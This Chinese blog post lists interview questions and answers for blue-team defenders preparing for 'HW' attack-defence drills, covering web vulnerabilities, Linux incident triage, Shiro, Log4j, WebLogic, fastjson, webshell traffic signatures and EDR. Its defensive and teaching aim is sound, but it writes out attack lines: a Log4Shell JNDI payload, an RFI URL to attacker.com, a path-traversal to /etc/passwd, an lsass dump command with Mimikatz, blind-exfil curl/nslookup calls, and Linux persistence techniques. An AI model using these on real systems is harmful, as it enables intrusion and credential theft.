马上今年hw即将来袭,蓝队兄弟们又得苦战了,这里本人参与并且跟朋友交流后整理了一些面试时的常见问题,在此整理成文,希望能帮助即将参与HW的蓝队兄弟们更好地备战,从容应对挑战,本文为周周在腾讯社区首发。
1.文件上传漏洞的原理是什么?
文件上传漏洞是一种常见的网络安全漏洞,它发生在Web应用程序中,允许攻击者上传恶意文件到服务器,进而可能执行恶意代码、控制服务器或造成其他安全威胁。
原理概述
- 功能设计缺陷:许多Web应用提供文件上传功能,允许用户上传图片、文档等。如果应用程序在实现时没有对上传文件的类型、内容、大小或目的位置进行充分的验证和过滤,就可能被滥用。
- 绕过验证:攻击者会尝试通过修改文件名、文件内容或利用Web应用代码的逻辑缺陷,绕过服务器端的文件类型检查。例如,将恶意脚本文件(如.php、.jsp)伪装成图片文件(.jpg)上传。
- Web服务器解析漏洞:即使文件被上传到了非执行目录,某些Web服务器的解析机制(如Apache的mod_mime_magic或IIS的解析漏洞)可能会错误地解析文件,使得上传的恶意脚本得以执行。
- 权限问题:如果上传的文件保存在Web可访问目录下,并且服务器配置不当赋予了执行权限,恶意脚本即可被执行。
实际案例
假设有一个社交平台,允许用户上传个人头像。该平台仅简单检查文件扩展名是否为图像格式(如.jpg、.png),但未对文件内容进行检查,也没有实施严格的访问控制策略。
攻击步骤
- 绕过验证:攻击者将一个包含恶意PHP代码的文件(如
exploit.jpg.php
)重命名,仅保留.jpg
扩展名,然后通过修改HTTP请求中的Content-Type头部,欺骗服务器认为这是一个图像文件。 - 上传恶意文件:利用Web应用的文件上传功能,上传这个伪装后的文件。由于服务器只检查文件扩展名,该文件顺利通过验证并被保存。
- 利用解析漏洞:如果Web服务器存在解析漏洞,即使文件名为
.jpg
,服务器也可能尝试按照PHP文件解析它,尤其是在文件路径被精心构造的情况下(例如,通过目录遍历漏洞访问文件)。 - 执行恶意代码:一旦恶意PHP代码被执行,攻击者就可以在服务器上执行任意命令,窃取数据、植入后门,甚至完全控制服务器。
防御措施
- 验证文件类型和内容:不仅检查文件扩展名,还要通过MIME类型检查或文件头验证确保文件内容与声明类型相符。
- 重命名和移动文件:上传后自动重命名文件并将其存储在不可直接Web访问的目录下,减少直接执行的风险。
- 限制文件访问权限:确保上传的文件没有执行权限。
- 使用安全沙箱或容器化:运行Web应用在受限环境中,减少恶意文件的影响范围。
- 定期安全审计和更新:及时修补Web服务器和应用框架的已知漏洞,避免解析漏洞被利用。
2.Linux被入侵了常见排查命令有哪些?
查看当前登录用户
- 命令:
w
,who
,whoami
- 用途:显示当前系统中所有登录的用户、他们从哪里登录、登录时间以及正在执行的进程。这有助于发现未知或可疑的用户活动。
- 实际案例:若发现有来自不寻常IP地址的登录记录,尤其是管理员账户在非工作时间或非预期地点的登录,可能是入侵迹象。
检查历史登录记录
- 命令:
last
,lastlog
- 用途:查看用户的最近登录历史,包括登录时间和来源IP。可以帮助识别异常登录模式。
- 实例:通过
last | grep "root"
检查root账户的登录历史,发现频繁或来自陌生IP的登录尝试。
分析系统日志
- 命令:
cat
,less
,grep
用于查看/var/log/auth.log
(Ubuntu/Debian)、/var/log/secure
(RHEL/CentOS)、/var/log/messages
或使用journalctl
(对于使用systemd的系统) - 用途:查找登录失败、权限变更、服务启动失败等日志条目,这些都可能是入侵的线索。
- 实例:使用
grep 'authentication failure' /var/log/auth.log
查找失败的认证尝试。
检查系统进程
- 命令:
ps aux
,top
,htop
,pstree
- 用途:查看当前运行的进程,识别不正常的或未知的进程,特别是那些消耗大量资源的进程。
- 实例:发现不明后台进程监听在非标准端口上,可能是恶意软件在运行。
网络连接检查
- 命令:
netstat -tulnp
,ss -tulnp
(对于较新的系统) - 用途:列出所有打开的网络连接和监听的端口,帮助识别未授权的服务或后门。
- 实例:通过
netstat -an | grep LISTEN
发现有未知服务监听在3389端口,可能为远程桌面木马。
检查文件系统变更
- 命令:
find
,diff
- 用途:比如使用
find /bin /usr/bin -type f -mtime -7
查找过去7天内修改过的系统二进制文件,这可能是恶意软件篡改的结果。 - 实例:发现
/usr/bin/sshd
文件的修改时间最近有变动,可能意味着SSH服务被替换了。
检查计划任务
- 命令:
crontab -l
,ls -al /etc/cron*
- 用途:查找是否有异常的定时任务,这些任务可能用于维持后门、下载恶意软件或执行其他恶意操作。
- 实例:在
/etc/cron.hourly
中发现一个不明脚本,定时下载并执行未知程序。
检查用户和组
- 命令:
cat /etc/passwd
,cat /etc/group
- 用途:检查是否有新增的未知用户或用户组,这些可能是入侵者为了长期保持访问权限而创建的。
- 实例:发现新增的用户
backupuser
,其shell路径被设定为/bin/bash
而非预期的/sbin/nologin
,表明可能被用于登录。
3.Shiro 组件有什么用?
Apache Shiro 是一个强大的 Java 安全框架,它简化了身份验证、授权、加密和会话管理等安全相关的复杂问题。Shiro 的核心在于它的三大组件,这些组件协同工作,为应用程序提供了一套全面的安全解决方案。下面详细说明每个组件的作用,并通过实际案例加以说明。
1. Subject
作用:
- Subject 是 Shiro 的核心抽象,代表了当前与应用程序交互的“实体”,这个实体可以是用户、系统服务、设备等任何需要与应用进行安全上下文交互的对象。
- 通过 Subject,开发者可以执行诸如登录、登出、检查权限等操作,而无需关心底层的实现细节。
实际案例: 比如一个在线教育平台,用户登录后才能观看课程视频或参与论坛讨论。在这个场景中,Subject 就代表了登录的用户,通过 Subject 的 login()
方法进行认证,通过 isPermitted()
方法检查用户是否有观看特定课程的权限。
2. SecurityManager(安全管理器)
作用:
- SecurityManager 是 Shiro 的心脏,它是所有安全操作的中央管理者,负责协调各个组件,如执行认证、授权、会话管理等。
- 它是所有 Subject 实例的后盾,Subject 的每个请求最终都会委托给 SecurityManager 处理。
实际案例:比如一个在线教育平台中,管理员试图访问后台管理界面。SecurityManager 在收到 Subject 发出的访问请求后,会根据事先配置的 Realm(认证和授权的数据源)来验证管理员的身份并检查其是否拥有访问后台的权限。
3. Realm
作用:
- Realm 负责与应用程序的数据源进行交互,以执行认证(验证用户身份)和授权(决定用户能做什么)逻辑。
- Shiro 支持多种类型的 Realm,如 JDBC Realm(数据库)、LDAP Realm(目录服务)、IniRealm(配置文件)等,可以根据实际需求选择合适的 Realm 实现。
实际案例: 比如一个在线教育平台为例,使用 JDBC Realm 存储用户凭证和角色权限。当用户尝试登录时,Realm 会查询数据库验证用户提供的用户名和密码是否匹配;用户访问特定资源时,Realm 再次查询数据库,判断用户角色是否拥有访问该资源的权限。
4.攻击Dmz区是什么原因?
攻击DMZ(Demilitarized Zone,非军事区)区的原因主要是因为DMZ区存放着面向公众开放、可以直接从互联网访问的服务器和服务,如Web服务器、邮件服务器、FTP服务器等。这些服务由于其公开性和必要性,成为了黑客攻击的重点目标。以下是攻击DMZ区的几个主要原因:
- 获取敏感信息:攻击者试图通过漏洞利用、弱口令猜测等方式,获取存放在DMZ区服务器上的敏感信息,如客户数据、公司文件等。虽然理想情况下,最敏感的数据应该存储在内网,但DMZ区仍可能存放一些具有价值的信息。
- 作为跳板:入侵DMZ区的服务器后,攻击者可能将其作为跳板,进一步渗透到内部网络。通过内部网络的横向移动,攻击者可以寻找更深层次的系统漏洞,企图达到控制核心服务器、窃取内部数据或发起拒绝服务攻击的目的。
- 服务中断:攻击者可能通过DDoS(分布式拒绝服务攻击)或其他方式使DMZ区的服务不可用,影响公司的业务运营和声誉。例如,攻击电子商务网站的Web服务器使其在购物高峰期无法访问。
- 恶意软件传播:攻击者可能会利用DMZ区的服务器作为恶意软件的分发点,向内网用户或者互联网上的其他用户传播病毒、木马等。
实际案例:
- Equifax数据泄露事件:虽然不是直接针对DMZ的攻击,但2017年的Equifax数据泄露事件展示了攻击者如何利用Web应用中的漏洞获取未经授权的访问权限,进而导致大量敏感数据(包括约1.47亿美国消费者的个人信息)被盗。虽然Equifax的具体网络架构未详细公布,但此类攻击强调了面向公众的系统(通常位于DMZ)中的漏洞可能带来的严重后果。
- Apache Struts漏洞利用:2017年,Apache Struts框架的一个远程代码执行漏洞被广泛利用,攻击者通过该漏洞攻击了许多企业的Web服务器,这些服务器往往位于DMZ区。攻击者利用该漏洞获取服务器控制权,进而植入恶意软件、窃取数据或进行其他恶意操作。
通过这些案例可以看出,攻击DMZ区是黑客获取初始立足点、进一步渗透内网、窃取数据或造成服务中断的常见策略。因此,加强DMZ区的安全防护,如严格控制出入流量、定期更新与修补漏洞、实施入侵检测与防御系统、以及进行定期的安全审计,对于保护企业资产至关重要。
5.Log4j特征流量是什么?
Log4j特征流量是指在网络数据传输中,能够标识出利用Log4j漏洞进行攻击的数据包的特定模式或特征。Log4j漏洞,特别是2021年底被披露的Log4Shell(CVE-2021-44228)漏洞,引起了广泛关注,因为它允许攻击者通过精心构造的输入数据远程执行代码。这一漏洞影响了广泛使用Apache Log4j 2.x版本的应用程序和系统。
Log4j特征流量的典型特征包括:
JNDI注入Payload: Log4Shell漏洞主要通过JNDI(Java Naming and Directory Interface)注入来利用,因此特征流量中通常包含尝试利用JNDI查找机制的特殊字符串。例如,HTTP请求中可能含有以下形式的Payload:
代码语言:txt复制${jndi:ldap://${attacker-controlled-server}/Exploit}
- 特定User-Agent字符串: 攻击者可能在HTTP请求的User-Agent头部插入特定的字符串,以识别或过滤出利用Log4j漏洞的尝试。例如:
"Log4j2" "Log4jAPI/2.0"
- LDAP或其它协议请求: 在网络流量中,可能会观察到指向攻击者控制的LDAP服务器或其他支持JNDI查找服务的请求,这些请求用于加载恶意代码或执行攻击者的指令。
6.weblogic反序列化有两种,分别是啥?
WebLogic反序列化漏洞是Java Web应用服务器Oracle WebLogic Server中的一个安全弱点,它允许攻击者通过发送精心构造的序列化数据来远程执行代码。WebLogic历史上出现过多种反序列化漏洞,但其中两种较为著名且被广泛讨论的是:
- WebLogic XMLDecoder反序列化漏洞: 这种漏洞主要出现在WebLogic Server的WLS组件中,涉及XMLDecoder类的不当使用。XMLDecoder是一种用于从XML文档中解码对象的Java类,如果它在处理不可信的XML数据时没有正确的验证和过滤,攻击者就可以构造特殊的XML数据,通过WebLogic的某些功能接口上传,导致反序列化过程执行恶意代码。比如CVE-2017-10271就是一个典型的例子,攻击者可以通过发送特定构造的SOAP请求,利用T3协议,触发WebLogic WLS组件中的XMLDecoder反序列化漏洞,从而执行任意命令。
- WebLogic 反序列化RMI远程代码执行漏洞: 这类漏洞通常与Java远程方法调用(RMI)服务有关,WebLogic的RMI服务在处理序列化数据时可能存在缺陷,攻击者可以发送特制的序列化数据到RMI注册表,利用不安全的反序列化操作执行任意代码。CVE-2018-2893是一个实例,它影响了WebLogic Server的Coherence组件,攻击者可以构造恶意的序列化对象,通过RMI接口发送,导致服务器执行攻击者控制的代码。
这两种漏洞的根本原因在于WebLogic在处理外部输入时缺乏足够的安全控制,尤其是对序列化数据的验证不足,使得攻击者能够构造恶意对象,利用Java反序列化机制执行任意代码。
7.文件包含原理是什么?
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web应用程序安全漏洞,主要发生在动态网页编程中,尤其是使用PHP语言的环境中。其原理是,应用程序为了实现代码重用或动态加载不同内容,会使用文件包含功能来引入外部文件。然而,如果对用户提供的输入验证不足或过滤不当,攻击者就能通过精心构造的输入来控制被包含的文件路径,从而实现恶意目的。文件包含漏洞主要分为两类:
1. 本地文件包含(Local File Inclusion, LFI)
在本地文件包含中,攻击者利用漏洞读取服务器上的任意文件,包括但不限于配置文件(如数据库凭据、私钥等)、源代码文件等。这种攻击依赖于能够控制文件包含函数的参数,使之指向非预期的本地文件。例如,如果一个PHP脚本接受用户输入来包含一个模板文件:
代码语言:javascript复制Php1include($_GET['template']);
攻击者可以通过修改URL参数template
为../../../../etc/passwd
来尝试读取Linux系统中的用户密码文件:
1http://example.com/index.php?template=../../../../etc/passwd
2. 远程文件包含(Remote File Inclusion, RFI)
远程文件包含允许攻击者从远程服务器加载并执行恶意代码。这要求Web服务器的配置允许通过URL包含文件,并且应用程序没有正确验证文件来源。PHP中,这通常需要allow_url_fopen
或allow_url_include
配置项开启。例如,如果一个脚本像这样包含文件:
Php1include($_GET['page']);
攻击者可以提供一个恶意的URL作为参数,导致服务器执行远程服务器上的代码:
代码语言:javascript复制1http://example.com/index.php?page=http://attacker.com/malicious_code.php
实际案例
案例1:WordPress TimThumb插件漏洞 在2011年,WordPress中广泛使用的TimThumb图片缩放插件曝出了远程文件包含漏洞。攻击者利用此漏洞,通过精心构造的URL,使插件从恶意服务器下载并执行了PHP代码,导致大量网站被黑,植入恶意内容或被完全控制。
案例2:PHPStudy远程代码执行漏洞 2017年,PHPStudy集成环境软件曝出一处远程文件包含漏洞,攻击者可以利用该漏洞,通过包含一个远程的恶意PHP文件,从而在服务器上执行任意代码,最终达成控制服务器的目的。
这些案例显示,文件包含漏洞可以被攻击者用来窃取敏感信息、执行恶意代码、控制服务器,甚至作为进一步攻击内网的跳板。因此,开发人员在实现文件包含功能时,必须严格验证用户输入,确保只加载预期的、安全的文件,并考虑禁用或严格限制远程文件包含的功能。
8.linux权限维持该怎么做?
Linux权限维持是指攻击者在入侵Linux系统后,为了长期保持对系统的控制权,采取的一系列措施。这些措施旨在确保即使系统管理员进行常规维护或安全检查,也能悄无声息地保留访问权限。以下是一些常见的Linux权限维持手法及其实际应用示例:
1. 隐藏后门
- 技术描述: 攻击者可以在系统中植入不易察觉的后门,比如通过修改系统二进制文件(如SSH服务),或者在启动项和服务中添加自启动脚本。
- 实际案例: 修改
/usr/bin/ssh
,使其在执行时秘密验证特定的后门密码,同时确保原始功能不受影响,以避免引起怀疑。
2. 使用SUID权限
- 技术描述: 设置SUID(Set User ID)权限,使得普通用户可以以文件所有者的权限(通常是root)运行某个程序。攻击者可以滥用此特性,留下一个可以随意执行的高权限程序。
- 实际案例: 将一个自定义的shell脚本设置为SUID,使得任何用户执行该脚本时都具有root权限,从而可以执行任意命令。
3. 隐藏文件和修改文件属性
- 技术描述: 使用
chattr
命令设置文件的不可更改属性(如i
属性),使得即使是以root身份也无法删除或修改特定文件,从而隐藏后门脚本。 - 实际案例: 对一个放置在
/tmp
目录下的恶意脚本执行chattr i badscript.sh
,即使管理员检查到该文件,也难以直接删除或修改。
4. 定时任务
- 技术描述: 设置cron job(定时任务),定期执行恶意脚本,确保即使原后门被发现并清理,也能重新部署。
- 实际案例: 添加一条cron作业,每天凌晨3点自动从远程服务器下载并执行新的后门代码,确保权限持续维持。
5. 替换系统日志和监控工具
- 技术描述: 修改或替换系统日志记录和监控工具,删除或篡改关于攻击行为的记录,降低被发现的风险。
- 实际案例: 修改
/usr/bin/logrotate
,使其在处理日志时忽略特定时间段内的记录,掩盖攻击活动的痕迹。
6. 利用SSH密钥
- 技术描述: 在受害主机的
.ssh/authorized_keys
文件中添加自己的公钥,实现无需密码的SSH登录。 - 实际案例: 在root账户的SSH授权密钥列表中悄悄添加自己的公钥,即使系统密码被更改,也能通过SSH密钥对重新获得访问权限。
9.fastjson漏洞原理是什么?
Fastjson是开源的一个高性能的Java语言的JSON库,用于序列化和反序列化JSON数据。Fastjson存在的漏洞主要与它的反序列化机制有关,特别是其AutoType
特性,这一特性允许在反序列化过程中自动推断并创建对象的具体类型。以下是Fastjson漏洞的详细原理及一个实际案例说明:
漏洞原理
- AutoType机制:Fastjson在设计时引入了
@type
字段来指定反序列化的目标类型,这使得它能够根据JSON字符串中的提示自动确定要实例化的Java对象类型。此功能在提高灵活性的同时,也埋下了安全隐患。 - 黑名单绕过:Fastjson为防止恶意利用,设立了一个黑名单来禁止某些危险类型的反序列化,比如禁止直接反序列化为
java.lang.Runtime
等可能执行命令的类。但攻击者可以通过精心构造的JSON数据,利用未被列入黑名单的类或链式反序列化技巧,绕过黑名单限制。 - 链式反序列化:攻击者通过创建一系列的中间类,这些类在反序列化过程中会被依次实例化,并最终导向一个可执行命令或恶意操作的类。即便单个类被加入黑名单,通过巧妙的类链组合,仍可达成远程代码执行的目的。
实际案例
假设存在一个中间类MiddleClass
,该类没有直接执行命令的能力,也不在Fastjson的黑名单中,但它有一个方法可以间接触发危险操作,比如调用另一个可执行命令的类的方法。攻击者构造如下的JSON数据:
Json1{
2 "@type": "com.example.MiddleClass",
3 "field": {
4 "@type": "another.vulnerable.Class",
5 // 这里可以是更多层级的嵌套,直到达到可以执行命令的类
6 }
7}
当Fastjson尝试反序列化这段JSON时,首先会实例化MiddleClass
,然后继续反序列化其成员field
,如果这一过程足够长且最终指向了可以执行命令的类,攻击者就可以通过这个链式过程实现远程代码执行。
10.冰蝎 哥斯拉的强特征?
冰蝎(Behinder)和哥斯拉(Godzilla)是两种常被用于网络攻击的WebShell工具,主要用于后渗透阶段,帮助攻击者在入侵目标系统后,实现对目标服务器的持久控制。它们各自具有一些明显的流量特征,这些特征可以被安全团队用来检测和防御这类攻击。下面详细说明它们的部分强特征:
冰蝎的特征:
- 动态加密通信:冰蝎使用动态加密技术对通信流量进行加密,以逃避传统的安全设备检测。在冰蝎3中,动态密钥获取被取消,仅在无动态密钥交互失败后,才进入常规的密钥交互阶段。
- 特定请求模式:冰蝎的流量可能包含特定的请求结构,如POST请求到特定的WebShell脚本路径,如
/hackable/uploads/shell.php
,且可能携带特定参数,如pass=300
。 - Base64编码的Payload:请求体中经常包含Base64编码的数据,用于传递控制命令或数据。此外,可能存在特定的字符串如
QGluaV9zZXQo
、@ini_set
,这些都是用于执行命令或配置改变的指示符。 - Cookie特征:早期版本中,Cookie中可能包含有特定的分号结尾的字符串,作为与WebShell通信的一部分,尽管这可能在后续版本中被修复。
哥斯拉的特征:
- MD5分割编码:哥斯拉的响应数据中,一个32位的MD5字符串会被分割为两半,分别放置在Base64编码数据的前后两端,形成特有的响应包结构,即
md5前十六位 base64编码数据 md5后十六位
。 - Base64编码的Payload:与冰蝎类似,哥斯拉的请求中也可能包含Base64编码的负载,用于传递命令或数据。
- 特定关键字:请求体中可能含有
assert eval
等特征字符,这些字符与动态执行代码的功能相关联。 - 动态DNS和端口扫描:为逃避追踪,连接服务器的IP地址可能通过动态DNS转换,且连接端口不固定,通常需要扫描20000-30000端口范围来检测哥斯拉的活动。
11.Win11怎么抓取Lsass进程?
在Windows 11系统中抓取Lsass(Local Security Authority Subsystem Service)进程的内存通常是为了进行安全审计、漏洞研究或是调查潜在的安全事件。然而,直接抓取Lsass进程的内存是比较复杂的,因为Lsass是高度敏感的核心系统进程,它存储了如登录凭据和系统安全信息等敏感数据。因此,任何试图访问其内存的行为都必须谨慎处理,确保合法合规,并且最好在安全测试或故障排查的受控环境中进行。
使用Procdump抓取Lsass进程的DMP文件
- 准备工具:首先,你需要下载Sysinternals Suite中的Procdump工具,这是一个由微软提供的高级系统诊断工具集。确保下载适用于你系统架构(x86或x64)的版本。
- 以管理员身份运行命令提示符:为了有足够的权限抓取Lsass进程,你需要在命令提示符中以管理员身份运行。右击“开始”按钮,选择“Windows 终端(管理员)”或“命令提示符(管理员)”。
- 使用Procdump抓取DMP文件:在命令行中输入以下命令来抓取Lsass进程的完整内存转储。此命令会创建一个名为
lsass_dump.dmp
的文件。 1procdump64 -accepteula -ma lsass.exe lsass_dump.dmp-accepteula
参数表示接受Procdump的许可协议,-ma
参数表示创建一个完整的内存转储。 - 分析DMP文件:抓取完成后,你可以使用像WinDbg这样的调试工具来分析
lsass_dump.dmp
文件。在安全研究中,分析者可能会寻找密码哈希、认证令牌或其他敏感信息,但这需要专业的知识和工具,如Mimikatz。
在安全研究和渗透测试中,研究人员有时会使用上述方法来分析Lsass内存,以评估系统的安全状况,例如查找是否有可能被Pass-the-Hash攻击利用的凭证。一个常见的用途是利用Mimikatz工具从DMP文件中提取明文密码或NTLM哈希值,以便进行后续的安全测试或密码破解尝试。
12.命令执行无回显流量处理方式
命令执行无回显流量处理是指在进行命令注入攻击时,当目标系统不会直接返回命令执行结果的情况下的处理策略。这种情况下,攻击者无法直接看到命令执行的输出,因此需要采用间接方法验证命令是否执行成功以及获取执行结果。以下是一些常见的处理方式:
- 延时判断法: 当向目标注入命令时,可以在命令末尾添加延时指令,如
sleep 5
(在Linux环境下),这样如果页面加载或响应时间明显增加,则可以推断命令已被执行。例如,通过注入1=ping -c 1 example.com & sleep 5
判断是否成功执行了ping命令。 - HTTP请求法: 利用注入的命令发起对外的HTTP请求到攻击者控制的服务器。例如,使用
curl http://attacker.com/log
,攻击者在自己的服务器上记录访问日志,以此验证命令执行并收集可能的输出信息。 - DNS请求法: 注入命令执行DNS查询到攻击者控制的DNS服务器。例如,使用
nslookup attacker-controlled-domain.com
或dig attacker-controlled-domain.com
。攻击者可以通过监控DNS日志来判断命令是否被执行,以及通过子域名请求来传递数据。 - 文件读写法: 在目标系统上写入或修改文件,然后通过其他途径(如网页浏览、错误信息等)查看文件内容。例如,执行
echo "COMMAND_EXECUTED" > /tmp/output.txt
,之后通过其他漏洞或功能读取该文件内容。 - 网络监听法: 利用Netcat (
nc
) 或类似的工具,在目标系统上监听特定端口,然后从外部向该端口发送数据或命令,通过监听端口的响应判断命令执行情况。例如,先在目标系统执行nc -lvp 8888 > output.txt
,然后从攻击机向该端口发送数据。
实际案例: 在DVWA(Damn Vulnerable Web Application)的高难度命令执行场景中,用户可以通过注入命令无回显的方式,利用DNS请求法验证命令执行。攻击者首先注册一个支持DNS日志记录的域名(如使用Ceye.IO服务),然后通过注入命令如 nslookup subdomain.ceye.io
,在Ceye.IO的DNS日志中观察到请求记录,以此证明命令已成功执行,并且可以通过子域名的变化传递数据。
13.shiro的流量特征?
Apache Shiro 是一个流行的Java安全框架,它用于处理身份验证、授权、会话管理和加密等功能。在流量分析的上下文中,Shiro的特定行为和配置可能会影响网络通信的特征,特别是当涉及到其“记住我”(Remember Me)功能时,这往往成为安全研究人员关注的焦点。以下是Shiro流量的一些特征:
- Remember Me Cookie: Shiro 提供了“记住我”功能,允许用户在关闭浏览器后仍然保持登录状态。这一功能会在客户端设置一个名为
rememberMe
的Cookie。该Cookie值经过加密处理,通常使用AES加密并进行Base64编码。在流量分析中,可以看到HTTP请求头中包含这个加密后的Cookie值。例如,流量捕获工具中可能会显示类似rememberMe=AQIC...
的Cookie。 - 流量特征识别: 分析Shiro流量的一个关键点是识别是否使用了Shiro框架。攻击者或安全审计员可能会通过设置特定的测试Cookie值(如
rememberMe=1
)并观察服务器的响应来判断。如果应用返回了Set-Cookie头部,表明应用使用了Shiro,并且可能尝试进一步探索是否存在已知漏洞。 - 流量分析与漏洞利用: 特别是在分析Shiro的漏洞利用时,如CVE-2016-4437,该漏洞允许攻击者通过“记住我”功能实现反序列化攻击。在这种情况下,流量特征可能包括精心构造的Cookie值,这些值包含了被编码和加密的恶意对象,旨在触发远程代码执行。攻击流量中可能含有特定的Base64编码字符串或特定的加密前缀,这些特征可以作为识别潜在攻击的线索。
- 会话管理流量: Shiro还负责会话管理,因此在网络流量中可能观察到与会话创建、维护和销毁相关的HTTP请求和响应。这些流量可能包含会话ID(Session ID)的交换,以及与会话状态变更相关的特定HTTP状态码和头部信息。
实际案例佐证:
- 在CVE-2016-4437的案例中,攻击者利用Shiro的Remember Me功能中的反序列化漏洞,通过精心构造的Cookie值,在目标系统的Shiro环境中触发了远程代码执行。流量分析中,安全研究人员注意到异常的Cookie值和特定的流量模式,这些模式与利用该漏洞的尝试相吻合。通过解密并分析这些Cookie值,可以揭示出攻击者试图注入的恶意对象结构。
- 在渗透测试和红队行动中,安全专家使用自动化工具(如BTEAM-SHIRODECRYPTER)来识别和解密Shiro Remember Me Cookie,以此来分析目标系统是否容易受到已知Shiro漏洞的影响。这些工具通过分析返回的Set-Cookie头部和记住我Cookie的加密内容,帮助识别潜在的漏洞利用点。
14.EDR是什么?
EDR,即Endpoint Detection and Response(端点检测与响应),是一种专注于端点安全的技术解决方案,主要设计用于增强企业的网络安全态势。它通过实时监控和分析端点(如桌面电脑、笔记本、服务器、移动设备等)上的活动,主动识别并响应潜在的威胁。与传统的防病毒软件相比,EDR提供了更深层次的防护,侧重于检测未知威胁、高级持续性威胁(APT)及内部威胁,并快速响应以减轻损害。
EDR的关键功能包括:
- 实时监控:不断监控端点上的活动,包括文件、进程、网络连接、注册表变化等,以发现异常行为。
- 威胁检测:利用签名匹配、行为分析、机器学习等技术识别已知和未知的威胁。
- 威胁响应:一旦检测到威胁,EDR能够自动隔离受感染设备、终止恶意进程、回滚恶意更改或提示管理员进行手动干预。
- 调查和分析:提供强大的调查工具,帮助安全团队追溯攻击链,理解攻击的来源、方法和目的。
- 数据采集与报告:收集并记录端点活动的详细信息,生成合规报告和威胁情报。
- 自动化和智能化:减少人工干预,通过预设规则和机器学习算法自动处理常见威胁。
- 威胁狩猎:允许安全分析师主动搜索网络中的隐藏威胁,而不只是被动响应警报。
我正在参与2024腾讯技术创作特训营最新征文,快来和我瓜分大奖!